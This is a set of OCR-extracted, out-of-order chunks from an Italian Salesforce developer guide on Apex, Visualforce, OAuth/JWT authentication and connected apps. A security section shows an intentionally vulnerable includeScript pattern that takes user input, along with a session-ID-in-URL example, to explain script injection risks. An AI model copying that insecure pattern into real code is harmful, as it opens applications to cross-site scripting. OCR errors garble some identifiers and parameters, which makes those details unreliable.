191. componenti nei pacchetti gestiti installati quali un altra classe un trigger o un oggetto personalizzato la scheda Impostazioni di versione visualizza le versioni dei pacchetti che contengono i componenti cui si fa riferimento La scheda Filtri del registro visualizza le categorie del registro debug e i livelli del registro debug che possono essere impostati per la classe VEDERE ANCHE Definizione di classi Apex Gestione delle classi Apex Applicazione di filtri ai registri debug per classi Apex e trigger Apex Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 61 Visualizzazione dei dettagli dei trigger Apex trigger Apex sono memorizzati nell applicazione come metadati sotto l oggetto a cui sono associati DONI anche possibile visualizzare tutti i trigger in Imposta immettendo Trigger Apex nella casella Ricerca veloce quindi selezionando Trigger Apex O Nota possibile aggiungere modificare o eliminare Apex tramite l interfaccia utente di Per visualizzare i dettagli di un trigger da Imposta immettere Trigger Apex nella casella Ricerca Disponibile nelle versioni Salesforce Classic e Salesforce solo in un organizzazione Developer Edition in un organizzazione di prova Enterprise Lightning Experience Edition di Salesforce o in un organizzazione Sandbox In un organizzazione di produzione Disponibile nelle versioni Salesforce possibile apportare modifiche al
192. consenta di completare l operazione in modo semplice e rapido Ogni sviluppatore ha uno stile diverso se una delle prospettive predefinite non soddisfa le proprie esigenze facile progettarne una Per maggiori dettagli vedere Creazione di prospettive personalizzate nel Log Inspector Controllo registri VEDERE ANCHE Log Inspector Controllo registri Creazione di prospettive personalizzate nel Log Inspector Controllo registri Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione del debug tramite la Console sviluppatore 276 Scheda View State Stato visualizzazione La scheda View State Stato visualizzazione della Console sviluppatore consente di esaminare lo stato della visualizzazione di una richiesta di pagina Visualforce S ApEx SELECLLISL gt Zamnanuwsnzti anltatiaeo SA M i1an0 t2tneN1 enla 4 ULI X Logs Tests Checkpoints Query Editor View State Progress Problems Name Type Value Size KB Of Parent 4 ChartingRefreshingDataTraditional 2 13 100 E Component Tree 0 38 18 4 SI State 1 92 90 4 Controllers 0 28 15 4 PieChartRemoteController Page chartingrefreshingdatatra 0 28 100 E chartYear String 2013 0 03 11 E Expressions 0 38 20 E Internal 1 26 66 La scheda View State Stato visualizzazione della Console sviluppatore funziona come la scheda View State del pi di pagina modalit di sviluppo Visualforce con la differenza che il doppio clic su un nodo di cartelle
193. cope sono Valore api chatter api custom permissions full id openid refresh token Descrizione Consente di accedere all account dell utente connesso in quel momento tramite API come API REST e API in blocco Questo valore include anche chatter api che consente l accesso alle risorse API REST Chatter Consente di accedere solo alle risorse API REST Chatter Consente di accedere alle autorizzazioni personalizzate di un organizzazione associate all applicazione connessa e mostra se per l utente corrente sono abilitate le singole autorizzazioni Consente di accedere a tutti i dati accessibili per l utente connesso e comprende tutti gli altri ambiti fu11 non restituisce un token di aggiornamento Per ottenere un token di aggiornamento necessario richiedere esplicitamente l ambito refresh token Consente l accesso al servizio URL identit possibile richiedere profile email address 0 phone singolarmente per ottenere lo stesso risultato che si ottiene con id sono tutti sinonimi Consente l accesso all ID univoco dell utente connesso in quel momento per le Applicazioni connesse OpenID L ambito openid si pu utilizzare nel flusso utente agente OAuth 2 0 e nel flusso di autenticazione server Web OAuth 2 0 per ottenere un token ID firmato conforme alle specifiche OpenID Connect oltre al token di accesso Consente di restituire un token di aggiornamento se si ha diritto a riceverne uno Questo permette a
194. d Opportunit Prodotto Frase di ricerca Versione SFGA Soluzione Annuncio testuale Ottimizzazione di Salesforce con il codice Visualizza lt iewAllCampaignMembers lt ievwCampaigninfluenceReport lt iewPartnerPortalUser lt iewSelfService YahooMaps YahooWeather VEDERE ANCHE Descrizione delle variabili globali Guida dell utente Componenti Apex Visualforce e Visualizzare un record Visualizzare un elenco di tutti i membri campagna Visualizzare il rapporto Campagne con opportunit influenzate Visualizzare un elenco di tutti gli utenti del Portale partner Visualizzare un elenco di tut Self Service i gli utenti Tracciare un indirizzo su Yahoo Maps Visualizzare http weather yahoo com Lightning 48 e Attivit e Gruppo di annunci e Asset e Campagna e Membro campagna e Caso e Referente e Contratto e Evento e Campagna Google e Parola chiave e Lead e Opportunit e Prodotto opportunit e Prodotto e Frase di ricerca e Versione SFGA e Soluzione e Annuncio testuale e Oggetti personalizzati Campagna Campagna Referente Referente e Account e Referente e Lead Referente Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 49 Apex Code Panoramica su Apex Code Apex un linguaggio di programmazione fortemente tipizzato e orientato agli oggetti ch
195. d UserProvisioningRequest e UserProvAccount Quando si crea il proprio flusso salvarlo con il tipo di flusso Provisioning utente Per creare il proprio flusso necessario avere familiarit con la creazione di flussi mediante Flow Designer e lo sviluppo di trigger Apex Il flusso richiede quanto segue e Un trigger Apex che utilizza la classe UserProvisioningPlugin e Le seguenti variabili di input e output nel flusso Input User UserProvisioningRequest UserProvAccount Output ExternalUserId ExternalUsername ExternalFirstName ExternalLastName ExternalEmail Details Status Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 196 e Almeno un plugin Apex del flusso deve avere i seguenti parametri di input e output Input userProvisioningRequestId userId namedCredDevName reconFilter reconoffset Output ExternalUserId ExternalUsername ExternalFirstName ExternalLastName ExternalEmail Details Status reconState nextReconOffset e Unelementodiricerca record Lookup User da modificare durante il collegamento degli account utente tra gli utenti Salesforce e gli utenti del sistema di terze parti O Nota Le credenziali denominate non funzionano con le chiamate API SOAP Se si sta implementando un flusso personalizzato non fornito da Salesforce per un sistema di terzi che utilizza l API SOAP creare una credenziale denominata segnaposto per consentire alla procedu
196. d items Chatter groups Chatter users Chatter custom domain questo valore viene omesso se l organizzazione non dispone di un dominio personalizzato configurato e propagato e active valore booleano che specifica se l utente oggetto della query attivo e user type tipo dell utente oggetto della query e language la lingua dell utente oggetto della query Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 237 e locale le impostazioni internazionali dell utente oggetto della query e utcOffseti la differenza rispetto al fuso UTC del fuso orario dell utente oggetto della query in millisecondi e last modified date formato datetime xsd dell ultima modifica apportata dall utente ad esempio 2010 06 28T20 54 09 000Z e is app installed ilvalore true quando l applicazione connessa installata nell organizzazione dell utente corrente e il token di accesso per l utente stato creato mediante un flusso OAuth Se l applicazione connessa non installata la propriet non esiste anzich essere false Quando si analizza la risposta verificare sia l esistenza che il valore di questa propriet e mobile policy valori specific per la gestione delle applicazioni connesse mobili Questi valori sono disponibili solo quando l applicazione connessa installata nell organizzazione dell utente corrente e l applicazione ha un valore di timeout della sessione definito e un valore di lunghezza
197. da per lo sviluppatore Apex 49 DE 49 DE Apex 49 DE Force com 140 dentit SCIM e API REST 158 mpostazioni di versione 58 75 inclusione di un applicazione connessa in un pacchetto 176 inserimento intervalli IP nella whitelist in applicazione connessa 176 nsiemi di autorizzazioni Visualforce 99 ntegrazione download del certificato di autenticazione di un client 139 download di un WSDL 139 S Control 123 125 intervalli IP con applicazione connessa 176 J JavaScript 142 L Lightning Experience aggiunta di componenti Lightning 91 Visualforce 68 limitazioni IP per applicazione connessa 179 180 182 Link azioni modelli 144 M Mash up esempi 129 Messaggio di errore notifiche push 190 Metadati personalizzati accesso a tipi e record 252 API metadati 251 informazioni su 247 inserimento nei pacchetti e installazione 254 limiti 249 250 Query 253 Modalit sviluppo abilitazione 70 Indice analitico Modelli di gruppo dei link azioni eliminazione 157 inclusione in pacchetto 157 modifica 156 progettazione 144 Modelli di link azioni creazione 152 Modifica Apex 5 modifica di un applicazione connessa 176 179 180 182 Monitoraggio dettagli dei processi di caricamento dati in blocco 161 processi di caricamento dati in blocco 159 monitoraggio dell uso di un applicazione connessa 186 N notifiche push esecuzione di test 188 190 messaggi di errore 190 O OAuth autenticazione 201 codici di errore 206 endpoint 202
198. da utilizzare quando si fa riferimento alle informazioni sull accesso alle autorizzazioni personalizzate dell utente corrente Utilizzare i campi di unione autorizzazione per fare riferimento alle informazioni sull accesso corrente dell utente alle autorizzazioni personalizzate dell organizzazione 1 Selezionare il tipo di campo Permission 2 Selezionare un campo di unione come Permission customPermissionName La regola di convalida seguente fa riferimento all autorizzazione personalizzata changeAustinAccounts per l utente corrente Questa regola assicura che solo gli utenti che dispongono dell autorizzazione changeAustinAccounts possano aggiornare gli account con citt di fatturazione Austin BillingCity Austin amp amp Permission changeAustinAccounts Per consentire solo agli utenti che dispongono dell autorizzazione personalizzata seeAustinAccounts di proseguire nel flusso creare una formula del flusso Booleana con la seguente espressione SPermission seeAustinAccounts Quindi in un elemento Decisione utilizzare una condizione per verificare che la formula restituisca true vero Per fare in modo che un pageblock venga visualizzato solo agli utenti che dispongono dell autorizzazione seeFxecutiveData utilizzare quanto segue lt apex pageBlock rendered Permission canSeeExecutiveData gt lt Executive Data Here gt lt apex pageBlock gt SPermission viene visualizzata solo se nell organi
199. de anonimo Include le seguenti opzioni Open Execute Anonymous Window Apri finestra di esecuzione anonima apre una nuova finestra che consente di inserire Apex Code per la verifica Vedere Esecuzione di Apex Code anonimo Execute Last Esegui ultimo esegue la voce pi recente nella finestra Enter Apex Code Inserisci Apex Code Switch Perspective Cambia prospettiva seleziona la prospettiva dall elenco delle prospettive standard e personalizzate disponibili Vedere Log Inspector Controllo registri View Log Panels Visualizza riquadri registro visualizza un elenco dei riquadri disponibili per l uso in una prospettiva Perspective Manager Gestione prospettive apre Perspective Manager Gestione prospettive Vedere Gestione delle prospettive nel Log Inspector Controllo registri Save Perspective Salva prospettiva salva le modifiche apportate alla prospettiva corrente da quando stata aperta Save Perspective As Salva prospettiva con nome salva una copia della prospettiva corrente con un nome diverso Auto Hide Logs Nascondi automaticamente registri selezionare questa opzione per cancellare i registri esistenti quando la pagina viene aggiornata Show My Current Logs Only Mostra solo i registri correnti Deselezionare questa opzione selezionata per impostazione predefinita per visualizzare tutti i registri salvati per l organizzazione inclusi quelli generati di recente creati da altri utenti Show My Current Chec
200. definiti dall utente e gli sObjects e i campi Per abilitare il completamento automatico di Apex quando si digita un periodo fare clic su Help Guida gt Preferences Preferenze e impostare Enable Apex Auto complete Abilita completamento automatico Apex su true Log _ui common apex debug ApexCSIAPI 04 08 11 43 47 Code Coverage None v Go To ICCN INUUCIINQIDICI7 abortJob String jobId void system pi Answers mi ApexPages ni AppExchange ApplicationReadWriteMode assert Boolean condition void system assert Boolean condition ANY msg void system Pi assertEquals ANY expected ANY actual void system mi assertEquals ANY expected ANY actual ANY msg void system ni AssertException A system Continuare a digitare per filtrare i suggerimenti premere INVIO per selezionare il completamento in alto oppure utilizzare i tasti freccia o il mouse per selezionare un completamento diverso completamenti sono raccolti a partire dall oggetto sul quale si sta attualmente lavorando Se non viene visualizzato il completamento atteso salvare l oggetto aperto e aggiornare Il tipo di oggetto determinato dalla tabella dei simboli dell editor corrente Se non vi sono simboli corrispondenti vengono controllate anche le tabelle dei simboli conservate nella cache ultimo salvataggio valido Se non vi sono oggetti correnti la finestra di completamento automatico visualizza tutte le classi d
201. del PIN screen lock tempo di inattivit prima che lo schermo venga bloccato pin length lunghezza del codice di identificazione richiesto per avere accesso all applicazione mobile e push service type questa risposta impostata su apple se l applicazione connessa registrata con il servizio di notifica push Apple APNS per le notifiche push iOS o su androidGem se registrata con Google Cloud Messaging GCM per le notifiche push Android Il tipo di valore della risposta una matrice e custom permissions quando una richiesta include il parametro di ambito custom permissions la risposta include una mappa contenente le autorizzazioni personalizzate in un organizzazione associata con l applicazione connessa Se l applicazione connessa non installata nell organizzazione oppure non ha alcuna autorizzazione personalizzata associata la risposta non contiene una Mappa custom permissions Di seguito riportata una richiesta di esempio http login salesforce com services oauth2 authorize response type tokeng amp client_ id 3MVG91KcPoNINVBKV6EgvJiF snSDwh6 2wSS7BrOnHGEJKC amp redirect uri http www example org ga security oauth useragent flow callback jsp amp scope api 20id 20custom permissions Di seguito riportato il blocco JSON nella risposta URL identit custom permissions Email View true Email Create false Email Delete false Di seguito riportato un esempio di risposta in formato XM
202. dell applicazione assieme alle descrizioni dei componenti standard D altro canto alle descrizioni dei modelli si pu fare riferimento solo mediante l area Imposta di Salesforce in quanto sono definite sotto forma di pagine VEDERE ANCHE Definizione dei componenti personalizzati Visualforce Visualizzazione e modifica dei componenti personalizzati Visualforce Ottimizzazione di Salesforce con il codice Definizione dei componenti personalizzati Visualforce Per creare un componente personalizzato Visualforce 1 In Salesforce da Imposta immettere Componenti nella casella Ricerca veloce quind selezionare Componenti Visualforce Fare clic su Nuovo Nella casella ditesto Etichetta immettere il testo che dovr essere utilizzato per identificare il componente personalizzato negli strumenti Imposta Nella casella di testo Nome immettere il testo che deve identificare questo componente personalizzato nel markup Visualforce Il nome pu contenere solo caratteri di sottolineatura e alfanumerici e deve essere univoco nell organizzazione Deve iniziare con una lettera non deve includere spazi terminare con un carattere di sottolineatura n contenere due caratteri di sottolineatura consecutivi Nella casella ditesto Descrizione immettere un testo di descrizione del componente personalizzato Questa descrizione viene visualizzata nel riferimento del componente con altre descrizioni di componenti standard non appena si fa clic
203. della condivisione Quando si utilizzano i motivi di condivisione Apex tenere presente quanto segue e Solo gli utenti che dispongono dell autorizzazione Modifica tutti i dati possono aggiungere modificare o eliminare la condivisione che utilizza il motivo di condivisione Apex e L eliminazione di un motivo di condivisione Apex determina l eliminazione di qualsiasi condivisione dell oggetto che utilizza quel motivo e possibile creare un massimo di dieci motivi di condivisione Apex per ogni oggetto personalizzato e possibile creare i motivi di condivisione Apex utilizzando l API dei metadati Per creare un motivo di condivisione Apex 1 Dalle impostazioni di gestione dell oggetto personalizzato fare clic su Nuovo nell elenco correlato Motivi di condivisione Apex Guida dell utente Componenti Apex Visualforce e Lightning 95 ID P4 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Performance Edition Unlimited Edition Developer Edition Enterprise Edition e Database com Edition ANOLON TAAA ON UTENTE Per modificare i profili e Gestisci profili e insiemi di autorizzazioni ID P4 0 N Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Professional Edition Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition AUTORIZZAZIONI UTENTE Per creare i m
204. dello di link azioni associato a un modello di gruppo dei link azioni pubblicato Aggiunta di modelli di link azioni ai pacchetti possibile aggiungere i modelli di link azioni ai pacchetti per distribuirli ad altre organizzazioni Salesforce Quando si aggiunge un modello di gruppo dei link azioni anche tutti i modelli di link azioni associati vengono aggiunti al pacchetto possibile aggiungere un modello di gruppo dei link azioni a un pacchetto gestito o non gestito Come componente che si pu inserire in un pacchetto i modelli di gruppo dei link azioni possono inoltre sfruttare tutte le funzionalit dei pacchetti gestiti ad esempio gli elenchi di AppExchange aggiornamenti tramite push script Apex post installazione gestione delle licenze e supporto avanzato per gli abbonati Per creare un pacchetto gestito necessario utilizzare un organizzazione Developer Edition e Vedere Creazione e modifica di un pacchetto su https help salesforce com Guida dell utente Integrazione di app con Salesforce 157 ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile in tutte le versioni tranne Personal Edition YANGI O NPZZAVA O N UTENTE Per eliminare modelli di gruppo dei link azioni e Personalizza applicazione Per eliminare modelli di link azioni e Personalizza applicazione ID PA 0 N Disponibile nelle versioni Salesforce Classic e
205. dentemente autorizzata dall utente o dall amministratore Salesforce emette un access_token O Nota In questo flusso non viene mai emesso un refresh token Creazione di un token bearer JWT Lo sviluppatore deve creare un token bearer JWT valido conforme a RSA SHA256 secondo le regole che seguono L emittente iss deve essere il client id OAuth o l applicazione connessa per la quale lo sviluppatore ha registrato il certificato Il pubblico aud deve essere https login salesforce com https test salesforce como incasodi implementazione per una comunit https acme force com customers dove acme force com customers l URL della comunit L oggetto sub deve essere il nome utente dell utente Salesforce desiderato o in caso di implementazione per una comunit l utente della comunit Salesforce Ai fini della compatibilit retroattiva possibile utilizzare il principale porn anzich l oggetto sub Se sono specificati entrambi viene utilizzato prn La validit exp deve essere entro cinque minuti dall orario di scadenza dell asserzione espresso come il numero di secondi da 1970 01 01T0 0 0Z misurato nel fuso UTC Il JWT deve essere firmato utilizzando RSA SHA256 Il JWT deve essere conforme alle regole di formato generali specificate qui http tools ietf org html draft jones j son web token Per creare un token bearer JWT procedere in questo modo 1 2 Costruire un Intestazione JWT nel seguente f
206. denti dalla versione che non tengono conto del ciclo di vita del pacchetto o dell installazione Gli utenti dell applicazione connessa vedranno Ottimizzazione di Salesforce con il codice elementi come il cambiamento della descrizione campi indicati di seguito hanno questo comportamento indipendente dalla versione e Descrizione e URLinfo e URL immagine logo e URL di richiamata Informazioni di base In questa sezione specificare le informazioni di base relative all applicazione quali il nome il logo e le informazioni di contatto 1 Immettere il nome dell applicazione connessa Questo nome viene visualizzato nell elenco delle applicazioni connesse O Nota Il nome deve essere univoco per le applicazioni connesse nell organizzazione possibile riutilizzare il nome di un applicazione connessa eliminata se l applicazione connessa stata creata con il rilascio Spring 14 0 con un rilascio successivo Non possibile riutilizzare il nome di un applicazione connessa eliminata se l applicazione connessa stata creata con un rilascio precedente Immettere il Nome API utilizzato quando si fa riferimento all applicazione da un programma Per impostazione predefinita viene utilizzata una versione del nome priva di spazi Sono consentiti soltanto lettere numeri e caratteri di sottolineatura pertanto sar necessario modificare il nome predefinito se il nome originale dell applicazione contiene qualsiasi altro carattere For
207. di email Definizione di servizi di email servizi di email sono processi automatici che utilizzano le classi Apex per elaborare i contenuti le intestazioni e gli allegati dei messaggi email in entrata Ad esempio possibile creare un servizio di email che crea automaticamente i record referente in base alle informazioni relative ai referenti contenute nei messaggi Ogni servizio di email pu essere associato a uno o pi indirizzi email generati da Salesforce ai quali gli utenti possono inviare messaggi da elaborare Per concedere a pi utenti l accesso a un solo servizio di email e Associare pi indirizzi email generati da Salesforce al servizio di email e assegnarli agli utenti e Associare un singolo indirizzo email generato da Salesforce al servizio di email e scrivere una classe Apex che viene eseguita in base all utente che accede al servizio possibile ad esempio scrivere una classe Apex che identifichi l utente in base all indirizzo email dell utente e crei record per conto di quest ultimo Per utilizzare i servizi di email da Imposta immettere Servizi di email nella casella Ricerca veloce quindi selezionare Servizi di email e Fare clic su Nuovo servizio di email per definire un nuovo servizio di email e Selezionare un servizio di email esistente per visualizzarne la configurazione per attivarlo o disattivarlo e per visualizzarne o specificarne gli indirizzi e Fare clic su Modifica per apportare le modifich
208. di selezionare Visualizzatore anteprima app Area di disegno 2 Fare clic sulla propria app area di disegno nel riquadro di sinistra L app area di disegno viene visualizzata nel frame Per ulteriori informazioni vedere il manuale Force com Canvas Developer s Guide Avvio rapido Heroku Il pulsante Avvio rapido Heroku consente di iniziare a creare un app in Heroku e di creare una corrispondente app area di disegno in Salesforce campi Avvio rapido Heroku includono quanto segue Campo Modello Nome app Area di disegno Nome app Heroku Descrizione app Area di disegno Tipo autenticazione Descrizione Modello Heroku utilizzato per creare l app Heroku Nome dell app area di disegno La lunghezza massima 30 caratteri Nome dell app Heroku Il nome deve iniziare con una lettera e pu contenere solo lettere minuscole numeri e trattini Questo nome diventa parte dell URL dell app La lunghezza massima 30 caratteri Descrizione dell app area di disegno La descrizione viene visualizzata durante la modifica dell app area di disegno in Salesforce La lunghezza massima 200 caratteri Indica in che modo il programma di avvio rapido esegue l autenticazione con Heroku per creare l app area di disegno e OAuth utilizza il token Heroku se l utente corrente ha eseguito l accesso a Heroku in caso contrario avvia il flusso OAuth Heroku e Nome utente Password utilizza il nome utente e la password Hero
209. dica la riuscita dell operazione vero o falso Cc essuno D azione e regola EntityName oggetto o campo Guida dell utente Registri debug 292 D modello di email destinatari e messaggi email in Riepilogo delle azioni inserite nell area di attesa D del caso e orario di ufficio ome del processo ID del modello di email e valore booleano che indica il risultato vero o falso NameField Id enome Origine della formula e valori Nessuno Titolare tipo di titolare successivo e campo essuno regola Tipo di regola EntityName EntityName NameField Id D azione e ome del processo NameField Id e titolare ome del notificatore indirizzo email del notificatore e ID modello del notificatore umero intero e che indica l ordine Categoria Livello registrata registrato avoro avoro avoro avoro avoro avoro avoro avoro avoro avoro avoro aVvoro avoro avoro avoro avoro aVvoro avoro usso di Flusso di Flusso di usso di Flusso di Flusso di Flusso di Flusso di Flusso di Flusso di Flusso di Flusso di Flusso di Flusso di Flusso di usso di Flusso di Flusso di S S uperi FOe uperi FO e uperi FO e uperi FO e uperi FO e uperi FO e uperi FO e uperi FO e uperi FO e uperi FO e uperi FO e uperi FO e uperi FO e uperi FO e uperi FO e uperi FO e uperi FO e
210. dirizzare la vittima a includere qualsiasi file JavaScript di qualsiasi altro sito Web lt apex includeScript value S CurrentPage parameters userInput gt Tag delle formule La sintassi generale di questi tag FUNCTION oppure SOBJECT ATTRIBUTE Adesempio se uno sviluppatore volesse includere l ID della sessione di un utente in un link potrebbe creare il link utilizzando la seguente sintassi lt a href http partner domain com integration sid Api Session ID amp server Api Partner Server URL 130 gt Go to portal lt a gt Che visualizza un output simile al seguente lt a href http partner domain com integration sid 4 0900D30000000Jsbi321AQ0AONYaPnVyd 6hNdIxXhzOTMaa S1YiOfRzpM18huTGN3jC001FIkbu0RwPc900JeMRm4h2UYXRnmZ5wZufIrvd9DtC ilA amp server https nal salesforce com services Soap u 13 0 4 0900D30000000Jsbi gt Go to portal lt a gt Le espressioni delle formule possono essere chiamate di funzioni o includere informazioni su oggetti della piattaforma ambiente di un utente ambiente del sistema e ambiente della richiesta Una caratteristica importante di queste espressioni che non viene utilizzata la sequenza escape durante la visualizzazione dei dati Poich le espressioni vengono visualizzate sul server non possibile utilizzare la sequenza escape per i dati visualizzati sul client utilizzando JavaScript o un altra tecnologia lato client Ci pu generare situazioni potenzialmente
211. duare l applicazione per l autorizzazione o l identificazione e Il protocollo di autorizzazione OAuth SAML o entrambi e Intervalli IP facoltativi in cui l applicazione connessa pu essere eseguita e Informazioni facoltative in merito ai criteri mobili che l applicazione connessa pu imporre Per le applicazioni connesse che utilizzano fornitori di servizi OAuth definire gli ambiti e l URL di richiamata per l applicazione connessa In cambio Salesforce fornisce una chiave consumatore OAuth e un Segreto consumatore per autorizzare l applicazione connessa Per le applicazioni connesse che utilizzano fornitori di servizi SAML definire l ID entit l URL del servizio consumatori dell asserzione ACS il Tipo di oggetto il Formato ID nome e l Emittente tali valori devono essere disponibili presso il fornitore di servizi per autorizzare l applicazione connessa Esistono due modalit di distribuzione e L applicazione viene creata e utilizzata nella stessa organizzazione Questo il tipico caso dei reparti IT ad esempio e L applicazione viene creata in una organizzazione e installata in altre organizzazioni Questo il modo in cui un entit con pi organizzazioni o un ISV utilizzano le applicazioni connesse Gli amministratori possono installare l applicazione connessa nella propria organizzazione abilitare l autenticazione SAML e utilizzare profili insiemi di autorizzazioni e restrizioni degli intervalli IP per controllare quali ute
212. e VEDERE ANCHE Autenticazione delle applicazioni con OAuth Ottimizzazione di Salesforce con il codice Autenticazione delle app Autenticazione delle applicazioni con OAuth Quando un utente richiede i propri dati Salesforce dall applicazione esterna la pagina del DAON consumatore necessario che venga autenticato da Salesforce Ogni flusso di autenticazione composto da diverse fasi come previsto dallo standard OAuth e dall applicazione che cerca di accedere a Salesforce Salesforce supporta i flussi di autenticazione delle versioni OAuth 1 0A e 2 0 Disponibile nelle versioni Salesforce Classic Disponibile in tutte le OAuth 1 0 A questa versione di OAuth ha un solo flusso versioni Server Web OAuth 2 0 il flusso di autenticazione del server Web viene utilizzato dalle applicazioni che risiedono in un server protetto Un aspetto cruciale del flusso del server Web il fatto che AUTORIZZAZIONI il server deve essere in grado di proteggere il segreto consumatore possibile anche utilizzare UTENTE valori di sollecitazione e verificatore del codice nel flusso per impedire l intercettazione del codice di autorizzazione Per gestire creare modificare ed eliminare le applicazioni OAuth e Gestisci applicazioni connesse Utente agente OAuth 2 0 il flusso di autenticazione utente agente viene utilizzato dalle applicazioni client consumatori che risiedono sul dispositivo dell utente Questo potrebbe essere imp
213. e modificare ed eliminare le applicazioni OAuth e Gestisci applicazioni connesse Consumatore Un sito Web o un applicazione che utilizza OAuth per autenticare sia l utente Salesforce sia l applicazione per conto dell utente Chiave consumatore Valore utilizzato dal consumatore per identificarsi in Salesforce Viene definito client _id in OAuth 20 Segreto consumatore Segreto utilizzato dal consumatore per stabilire la propriet della chiave consumatore Viene definito client secret in OAuth 20 Nonce Numero spesso casuale utilizzato durante l autorizzazione per assicurare che le richieste non possano essere riutilizzate Token di aggiornamento Utilizzato solo con OAuth 2 0 Un token utilizzato dal consumatore per ottenere un nuovo token di accesso senza che l utente finale debba approvare nuovamente l accesso Token di richiesta Valore utilizzato dal consumatore per ottenere l autorizzazione dall utente e scambiato con un token di accesso token di richiesta sono utilizzati solo in OAuth 1 0 A Per la versione OAuth 2 0 vedere Codice di autorizzazione Provider di servizi Applicazione Web che consente l accesso utilizzando OAuth Si tratta dell istanza Salesforce dell utente dopo che stato abilitato l accesso remoto Segreto token Segreto utilizzato dal consumatore per stabilire la propriet di un dato token sia per i token di richiesta che per i token di accesso Utente Persona che possiede un accesso Salesforc
214. e Componenti Apex Visualforce e Creare un operazione Richiedere un aggiornamento Registrare un utente come utente Self Service Inviare un messaggio email Aprire un messaggio email vuoto in Gmail Ordinare i prodotti di un listino prezzi Condividere un record Lightning 46 e Asset e Campagna e Caso e Referente e Contratto e Evento e Campagna Google e Parola chiave e Lead e Opportunit e Frase di ricerca e Versione SFGA e Soluzione e Operazione e Annuncio testuale e Oggetti personalizzati Operazione e Referente e Attivit Soluzione Attivit e Referente e Lead OpportunityLineltem e Account e Gruppo di annunci e Campagna e Caso e Referente e Contratto e Campagna Google e Parola chiave e Lead e Opportunit e Frase di ricerca Ottimizzazione di Salesforce con il codice Inviare per l approvazione Scheda Inviare un record per l approvazione Accedere alla scheda di un oggetto Guida dell utente Componenti Apex Visualforce e Lightning 47 Versione SFGA Annuncio testuale Account Attivit Gruppo di annunci Asset Campagna Membro campagna Caso Referente Contratto Evento Campagna Google Parola chiave Lead Opportunit Prodotto opportunit Prodotto Frase di ricerca Versione SFGA Soluzione Operazione Annuncio testuale Gruppo di annunci Campagna Caso Referente Contratto Campagna Google Parola chiave Lea
215. e Integrazione di app con Salesforce 213 Encode the JWT Header and add it to our string to sign token append Base64 encodeBase64URLSafeString header getBytes UTFE 8 Separate with a period token append Create the JWT Claims Object String claimArray new String 4 claimArray 0 3MVG990xTyEMC03gNp2PjkqeZKxnmAiG1xV4oHh9AKL rSK BoSVPGZHQOukXnVj zRgSu0gGn75NL7yfk0cyy7 claimArray 1 my email com claimArray 2 https login salesforce com Long toString System currentTimeMillis 1000 300 MessageFormat claims claimArray 3 claims new MessageFormat claimTemplate String payload claims format claimArray Add the encoded claims object token append Base64 encodeBase64URLSafeString payload getBytes UTE 8 Load the private key from a keystore KeyStore keystore KeyStore getInstance JKS keystore load new FileInputStream path to keystore jks keystorepassword toCharArray PrivateKey privateKey PrivateKey keystore getKey certalias privatekeypassword toCharArray Sign the JWT Header JWT Claims Object Signature signature Signature getInstance SHA256withRSA signature initSign privateKey signature update token toString getBytes UTF 8 String signedPayload Base64 encodeBase64URLSafeString signature sign Separate with a period token append Bdd the encoded signatu
216. e Componenti Visualforce e fare clic sul nome di un componente personalizzato per visualizzarne la definizione Dalla pagina dei dettagli possibile effettuare una delle operazioni seguenti Fare c Fare c Fare c ic su Modifica per modificare il componente personalizzato ic su Elimina per eliminare il componente personalizzato ic su Clona per creare una copia del componente personalizzato necessario specificare un nuovo nome per il nuovo componente Fare c ic su Dove si utilizza per visualizzare l elenco di tutti i riferimenti al componente personalizzato nell organizzazione Fare c ic su Mostra dipendenze per visualizzare gli elementi quali un altro componente autorizzazione o preferenza la cui esistenza consente la validit del componente personalizzato Dopo che http miaIlstanzaSalesforce apexcomponent nomeNuovoComponente incuiilvaloredi mialstanzaSalesforce ilnome host dell istanza Salesforce ad esempio na3 salesforce com e il valore di nomeNuovoComponente il valore del campo Nome nella definizione del componente personalizzato il componente stato creato possibile visualizzarlo all indirizzo Il componente visualizzato come una pagina Visualforce Di conseguenza se il componente fa affidamento sugli attributi o sui contenuti del corpo del tag del componente questo URL potrebbe generare risultati inattesi Per eseguire un test pi accurato del componente personalizzato aggiun
217. e anche nell organizzazione sviluppatore in cui il record stato creato e Modificabili dall abbonato Chiunque disponga delle autorizzazioni necessarie pu modificare il valore del campo come desidera Le eventuali modifiche distribuite dallo sviluppatore non sostituiscono i valori nell organizzazione dell abbonato e Aggiornabili Lo sviluppatore di un record pu modificare il valore del campo rilasciando una nuova versione del pacchetto di metadati personalizzati L abbonato non pu modificare il valore del campo I tipi e i record di metadati personalizzati hanno nomi ed etichette nomi devono essere univoci all interno dei rispettivi spazi dei nomi nomi dei record devono essere univoci all interno del tipo di metadati personalizzato e dello spazio dei nomi record dei metadati personalizzati possono essere protetti Se uno sviluppatore rilascia record protetti in un pacchetto gestito l accesso a tali record limitato secondo modalit specifiche e Il codice che si trova nello stesso pacchetto gestito dei record di metadati personalizzati pu leggere i record e Il codice che non si trova nello stesso pacchetto gestito dei tipi di metadati personalizzati pu leggere i record che appartengono a quel tipo e Il codice che si trova in un pacchetto gestito che non contiene n il tipo n il record protetto non pu leggere i record protetti e Il codice che l abbonato crea e il codice che si trova in un pacchetto non ges
